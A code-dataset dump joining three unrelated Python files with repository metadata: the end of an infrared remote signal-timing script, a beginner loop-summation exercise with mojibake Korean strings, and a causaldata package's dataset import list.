[615, 616, 552, 618, 547, 616, 547, 620, 546, 622, 548, 622, 537, 624, 1626, 618, 1633, 620, 1630, 627, 1623, 622, 1628, 620, 1630, 623, 543, 624, 1626, 617, 1635, 618, 545, 626, 1627, 613, 550, 617, 549, 617, 548, 619, 549, 617, 545, 626, 540, 622, 1631, 613, 549, 619, 1632, 619, 1631, 623, 1628, 616, 1635, 619, 1635, 618],
[612, 617, 548, 619, 546, 620, 545, 622, 544, 623, 545, 611, 551, 616, 1635, 619, 1632, 621, 1630, 614, 1636, 618, 1633, 621, 1629, 614, 552, 615, 1635, 618, 1633, 621, 547, 619, 1631, 613, 550, 616, 549, 620, 546, 619, 546, 621, 545, 626, 539, 624, 1627, 616, 549, 621, 1633, 618, 1630, 624, 1627, 616, 1634, 620, 1631, 623],
[619, 621, 544, 622, 544, 613, 551, 615, 551, 621, 544, 618, 551, 617, 1632, 620, 1628, 616, 1634, 620, 1631, 624, 1628, 614, 1635, 621, 545, 620, 1630, 643, 1607, 617, 548, 619, 1632, 621, 544, 623, 542, 615, 550, 616, 550, 617, 548, 619, 546, 620, 1630, 614, 554, 612, 1636, 619, 1632, 621, 1629, 615, 1637, 618, 1631, 621],
[622, 543, 623, 546, 619, 543, 618, 548, 614, 552, 615, 549, 618, 1641, 612, 1630, 613, 1637, 617, 1638, 615, 1633, 620, 1628, 616, 550, 616, 1634, 620, 1631, 623, 542, 614, 1639, 615, 548, 619, 547, 619, 549, 620, 544, 624, 540, 623, 542, 614, 1636, 618, 548, 623, 1632, 617, 1629, 615, 1636, 616, 1634, 620, 1633, 621],
[616, 551, 615, 548, 619, 549, 618, 545, 622, 548, 622, 539, 615, 1635, 618, 1633, 620, 1630, 614, 1636, 617, 1633, 621, 1630, 623, 542, 615, 1635, 618, 1633, 620, 545, 626, 1627, 612, 551, 616, 549, 620, 546, 618, 550, 617, 545, 627, 539, 622, 1630, 613, 551, 620, 1631, 619, 1631, 622, 1629, 615, 1635, 619, 1635, 618],
[615, 642, 522, 623, 543, 624, 544, 614, 549, 616, 550, 617, 548, 621, 1628, 623, 1628, 616, 1634, 619, 1631, 623, 1627, 617, 1633, 620, 546, 626, 1625, 614, 1636, 617, 548, 619, 1631, 622, 544, 623, 542, 615, 550, 616, 549, 618, 548, 619, 546, 620, 1630, 614, 551, 616, 1635, 618, 1632, 622, 1631, 612, 1636, 618, 1632, 621],
[618, 616, 548, 619, 548, 618, 546, 621, 544, 625, 540, 633, 535, 613, 1635, 619, 1632, 621, 1629, 619, 1636, 614, 1633, 620, 1630, 614, 551, 616, 1635, 618, 1632, 622, 544, 613, 1640, 613, 549, 621, 545, 620, 549, 617, 545, 621, 544, 623, 543, 614, 1636, 630, 536, 621, 1629, 622, 1629, 617, 1634, 618, 1632, 621, 1630, 614],
[617, 550, 620, 544, 621, 547, 618, 544, 622, 543, 614, 552, 616, 1634, 620, 1631, 621, 1629, 620, 1633, 616, 1634, 620, 1629, 614, 551, 616, 1635, 619, 1636, 622, 538, 619, 1632, 617, 548, 622, 543, 621, 545, 621, 544, 623, 542, 615, 554, 613, 1634, 623, 543, 620, 1630, 623, 1627, 620, 1633, 618, 1630, 623, 1650, 594],
[621, 545, 612, 552, 614, 552, 619, 548, 614, 548, 619, 547, 621, 544, 621, 544, 623, 1628, 616, 1634, 649, 1602, 622, 1628, 615, 1636, 618, 1632, 621, 545, 622, 1628, 615, 1635, 619, 547, 620, 1630, 628, 538, 618, 549, 613, 552, 615, 549, 619, 547, 623, 542, 620, 1631, 623, 542, 614, 1637, 621, 1630, 619, 1631, 623, 1628, 615, 1637, 617],
[625, 543, 624, 539, 624, 542, 613, 551, 616, 549, 618, 547, 619, 1632, 622, 1628, 615, 1635, 619, 1633, 620, 1629, 615, 1635, 619, 546, 620, 1631, 623, 1628, 615, 549, 618, 1636, 637, 525, 626, 540, 623, 552, 585, 570, 618, 548, 617, 548, 619, 1632, 622, 544, 622, 1628, 616, 1635, 623, 1627, 622, 1629, 619, 1633, 617],
[612, 552, 615, 552, 616, 553, 612, 549, 619, 546, 620, 547, 623, 1626, 614, 1636, 617, 1634, 620, 1631, 626, 1627, 612, 1635, 649, 516, 620, 1631, 622, 1629, 618, 548, 616, 1635, 618, 547, 620, 545, 622, 544, 624, 542, 623, 548, 619, 541, 617, 1634, 618, 547, 620, 1631, 623, 1629, 614, 1636, 618, 1632, 621, 1630, 623],
[595, 569, 617, 551, 621, 544, 617, 545, 595, 571, 624, 544, 621, 1628, 616, 1633, 620, 1630, 623, 1628, 616, 1639, 585, 1661, 624, 542, 592, 1658, 616, 1635, 588, 577, 590, 1661, 623, 543, 593, 572, 595, 571, 616, 549, 598, 567, 589, 581, 586, 1661, 622, 545, 622, 1627, 617, 1634, 620, 1630, 647, 1604, 616, 1635, 589],
[617, 618, 547, 620, 548, 618, 544, 623, 543, 624, 541, 616, 549, 597, 1654, 623, 1628, 621, 1628, 616, 1635, 618, 1633, 621, 1629, 625, 540, 616, 1636, 617, 1633, 621, 544, 623, 1627, 616, 550, 617, 553, 613, 548, 619, 548, 620, 554, 581, 575, 621, 1628, 616, 554, 612, 1635, 619, 1631, 622, 1629, 615, 1637, 616, 1633, 621],
[616, 548, 622, 546, 590, 573, 624, 542, 594, 572, 623, 541, 619, 1635, 585, 1662, 622, 1629, 594, 1655, 588, 1663, 591, 1659, 614, 551, 617, 1636, 616, 1632, 593, 575, 620, 1628, 595, 571, 616, 548, 618, 547, 620, 546, 593, 575, 589, 576, 591, 1657, 598, 569, 616, 1633, 590, 1660, 623, 1628, 616, 1638, 616, 1631, 622],
[622, 543, 622, 544, 644, 521, 616, 551, 614, 552, 616, 546, 621, 1629, 593, 1658, 616, 1634, 621, 1630, 622, 1628, 617, 1636, 586, 577, 590, 1664, 590, 1657, 597, 569, 617, 1633, 620, 545, 623, 543, 623, 542, 615, 551, 597, 571, 620, 543, 618, 1632, 627, 539, 593, 1658, 615, 1635, 619, 1631, 593, 1658, 615, 1635, 619],
[619, 546, 621, 544, 606, 562, 621, 543, 625, 539, 596, 574, 613, 1637, 587, 1660, 623, 1627, 597, 1653, 620, 1631, 622, 1628, 616, 549, 598, 1652, 592, 1659, 624, 541, 615, 1639, 585, 577, 619, 546, 621, 545, 621, 545, 592, 571, 615, 550, 620, 1631, 620, 545, 591, 1663, 620, 1627, 617, 1634, 619, 1632, 592, 1660, 594],
[623, 547, 618, 542, 595, 572, 595, 569, 633, 533, 588, 580, 617, 1630, 594, 1657, 616, 1634, 620, 1630, 593, 1657, 617, 1633, 620, 545, 592, 1658, 595, 1655, 622, 543, 620, 1631, 623, 542, 624, 541, 616, 549, 618, 547, 624, 541, 591, 579, 588, 1658, 595, 570, 617, 1633, 620, 1630, 623, 1627, 616, 1637, 587, 1661, 592],
[620, 593, 572, 625, 541, 599, 580, 604, 549, 617, 1632, 621, 1629, 625, 1626, 587, 1663, 591, 1664, 589, 1656, 622, 543, 619, 1631, 623, 1629, 615, 551, 615, 1635, 592, 574, 620, 545, 622, 543, 593, 572, 619, 549, 613, 550, 617, 1644, 579, 575, 594, 1656, 615, 1636, 770, 1480, 621, 1630, 624, 1626, 621],
[542, 1167, 1164, 1176, 1154, 1165, 1167, 2250, 2254, 2247, 2251, 2250, 2253, 1163, 2251, 2250, 1167, 2250, 1165, 1165, 1166, 1165, 1165, 1166, 2251, 1165, 2255, 2257, 2240, 2250, 2251],
[630, 535, 619, 546, 616, 551, 615, 1635, 624, 1625, 628, 1623, 616, 1634, 619, 1633, 621, 1629, 620, 550, 611, 1635, 594, 1656, 622, 543, 624, 1627, 616, 549, 618, 547, 620, 546, 620, 545, 622, 543, 625, 540, 615, 1637, 620, 547, 621, 1627, 622, 1628, 616, 1635, 618, 1632, 622, 1629, 615],
[617, 548, 619, 548, 588, 578, 619, 544, 622, 543, 644, 522, 595, 570, 616, 549, 618, 1632, 623, 1633, 589, 1656, 617, 1633, 620, 1631, 623, 1631, 612, 550, 620, 1631, 620, 1630, 643, 523, 616, 1637, 615, 550, 616, 547, 620, 546, 621, 544, 627, 539, 593, 711, 486, 1626, 618, 547, 620, 1633, 620, 1791, 452, 1636, 618, 1632, 623, 1628, 594],
[613, 587, 578, 589, 575, 592, 572, 624, 543, 615, 550, 600, 569, 613, 1632, 622, 1630, 623, 1626, 621, 1632, 618, 1630, 614, 1636, 617, 548, 619, 1631, 592, 1659, 614, 551, 619, 1632, 619, 546, 621, 545, 622, 546, 620, 543, 614, 551, 596, 573, 613, 1634, 620, 545, 621, 1630, 624, 1627, 616, 1634, 620, 1631, 623, 1627, 617],
[614, 621, 544, 622, 543, 627, 539, 624, 545, 612, 550, 616, 548, 625, 1626, 592, 1658, 615, 1635, 620, 1630, 592, 1659, 614, 1636, 588, 577, 620, 1630, 623, 1628, 616, 549, 588, 1667, 616, 545, 622, 543, 594, 577, 594, 566, 616, 549, 617, 549, 588, 1662, 591, 574, 623, 1628, 868, 1382, 593, 1659, 591, 1659, 615, 1635, 618],
[621, 621, 544, 593, 576, 621, 542, 614, 572, 576, 568, 618, 548, 618, 1637, 616, 1631, 613, 1636, 617, 1633, 620, 1631, 593, 1658, 615, 561, 606, 1634, 621, 1629, 623, 542, 624, 1627, 617, 548, 618, 548, 623, 542, 625, 541, 621, 544, 593, 573, 624, 1627, 617, 549, 618, 1632, 627, 1625, 593, 1657, 617, 1634, 619, 1632, 622],
[616, 550, 617, 547, 589, 578, 619, 546, 620, 545, 622, 542, 624, 1627, 617, 1633, 620, 1630, 623, 1627, 597, 1654, 619, 1631, 623, 544, 622, 1627, 618, 1632, 620, 545, 622, 1628, 595, 570, 617, 549, 622, 543, 619, 546, 620, 545, 623, 542, 628, 1622, 617, 548, 619, 1632, 621, 1629, 624, 1626, 618, 1633, 620, 1630, 802],
[624, 615, 551, 620, 545, 618, 548, 588, 576, 623, 542, 597, 573, 619, 1627, 616, 1635, 619, 1631, 622, 1628, 616, 1635, 618, 1633, 621, 544, 623, 1628, 615, 1638, 616, 547, 589, 1661, 622, 543, 594, 574, 613, 550, 616, 550, 619, 547, 618, 549, 617, 1632, 622, 545, 623, 1626, 596, 1658, 616, 1632, 596, 1655, 624, 1626, 618],
[621, 544, 625, 541, 625, 543, 613, 549, 616, 550, 617, 548, 620, 1631, 591, 1659, 614, 1636, 618, 1633, 670, 1580, 626, 1625, 616, 549, 619, 1631, 621, 1629, 624, 547, 610, 1636, 618, 547, 619, 546, 621, 545, 625, 540, 623, 543, 624, 541, 615, 1635, 619, 547, 619, 1631, 623, 1632, 611, 1635, 637, 1613, 622, 1629, 616],
[620, 546, 623, 543, 621, 543, 624, 541, 627, 539, 616, 550, 616, 1633, 623, 1627, 624, 1627, 626, 1625, 622, 1628, 622, 1629, 615, 550, 618, 1632, 620, 1634, 619, 543, 624, 1626, 618, 547, 619, 546, 621, 545, 625, 540, 615, 550, 625, 541, 618, 1632, 618, 547, 620, 1631, 693, 1558, 595, 1654, 621, 1630, 622, 1628, 615],
[619, 547, 616, 552, 614, 551, 617, 544, 622, 543, 629, 540, 610, 1640, 614, 1633, 623, 1627, 624, 1629, 614, 1636, 618, 1630, 623, 543, 624, 1627, 617, 1633, 621, 544, 622, 1629, 618, 547, 617, 549, 618, 547, 619, 547, 620, 545, 622, 544, 625, 1625, 618, 548, 617, 1634, 620, 1633, 620, 1628, 616, 1634, 619, 1632, 622],
[619, 616, 544, 625, 540, 614, 551, 616, 550, 618, 547, 619, 560, 606, 1631, 624, 1626, 616, 1634, 620, 1633, 620, 1628, 615, 1635, 619, 546, 623, 1628, 623, 1627, 617, 549, 617, 1633, 621, 544, 622, 546, 621, 544, 613, 550, 620, 545, 618, 548, 619, 1631, 622, 555, 612, 1627, 616, 1635, 619, 1631, 622, 1638, 606, 1635, 620],
[615, 607, 546, 620, 545, 623, 542, 624, 545, 611, 551, 615, 572, 595, 1634, 619, 1630, 624, 1627, 616, 1642, 611, 1631, 623, 1632, 611, 550, 617, 1638, 615, 1631, 624, 542, 623, 1627, 617, 548, 618, 548, 619, 546, 620, 545, 625, 541, 624, 541, 624, 1627, 617, 549, 617, 1633, 621, 1630, 623, 1627, 616, 1635, 619, 1631, 625],
[618, 618, 545, 622, 545, 621, 544, 623, 546, 615, 545, 618, 548, 618, 1633, 620, 1630, 624, 1627, 616, 1635, 619, 1632, 622, 1629, 616, 549, 616, 1638, 616, 1633, 620, 544, 622, 1629, 615, 550, 616, 549, 622, 543, 620, 548, 618, 545, 622, 546, 620, 1628, 616, 550, 622, 1632, 616, 1631, 622, 1629, 616, 1634, 619, 1633, 620]]
mean_right = process_signals(right_input_signals,'Right Button')
mean_up = process_signals(up_input_signals,'Up Button')
plt.show()
| [
"cmontalvo251@gmail.com"
] | cmontalvo251@gmail.com |
9b5b61fcce440568ff1dab0b48a8141aefc7e2d2 | 4597d219ad8849b4e80cfbda6e75600449db2de9 | /Python/210705_001/while_02/while_02.py | 84664deaa6ca8e68d21f96712dddc96c91d9efb0 | [] | no_license | pass0585/Python | 660b88375bf2a50f19520ba3460542bcd4af7f29 | 917e5c1b1050a97a24069a1157489618aa45c6e1 | refs/heads/main | 2023-06-24T01:45:25.225249 | 2021-07-28T07:35:05 | 2021-07-28T07:35:05 | 382,979,157 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 305 | py | sum, i = 0, 0
for i in range(1,20,1):
sum+=i
if sum>100:
break;
sum+=i
print("%d" % sum)
print("-----------------------")
sum, i = 0,0
j = int(input("์ซ์๋ฅผ ์
๋ ฅํ์ธ์."))
while True:
if i<j:
i=i+1
sum+=i;
elif i==j:
break
print("1์์ %d๊น์ง์ ํฉ์ %d์
๋๋ค." % (j, sum))
| [
"pass0585@gmail.com"
] | pass0585@gmail.com |
402497717a800b1f491aa1833bff6f43c5e97950 | 6bbfd76ee237f7cc93b4700b1196259eec6f982b | /Python/causaldata/__init__.py | f669eb2dba6955336f73af7b58456e2839f8ad76 | [] | no_license | shalevy1/causaldata | 560fe064dfbb73ec224360abc0ed567221953646 | a46ece5b2e2cb0d099ac72bf0c39755a6c2d0dc9 | refs/heads/main | 2023-09-02T13:19:54.564063 | 2021-11-20T00:02:19 | 2021-11-20T00:02:19 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 918 | py | from . import (auto, black_politicians, gapminder, google_stock,
gov_transfers, gov_transfers_density, mortgages, Mroz,
organ_donations, restaurant_inspections, social_insure,
auto, ri, yule, thornton_hiv, titanic, training_example,
training_bias_reduction, nsw_mixtape, cps_mixtape,close_elections_lmb,
scorecard, avocado, adult_services, abortion, castle,texas,
snow,credit_cards,greek_data,nhefs,nhefs_complete,nhefs_codebook)
__all__ = ['auto','black_politicians','gapminder', 'google_stock',
'gov_transfers', 'gov_transfers_density', 'mortgages', 'Mroz',
'organ_donations', 'restaurant_inspections', 'social_insure',
'auto','ri','yule','thornton_hiv','titanic', 'training_example',
'training_bias_reduction', 'nsw_mixtape', 'cps_mixtape','close_elections_lmb',
'scorecard', 'avocado','adult_services','abortion','castle','texas',
'snow','credit_cards','greek_data','nhefs','nhefs_complete','nhefs_codebook']
| [
"44816781+NickCH-K@users.noreply.github.com"
] | 44816781+NickCH-K@users.noreply.github.com |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.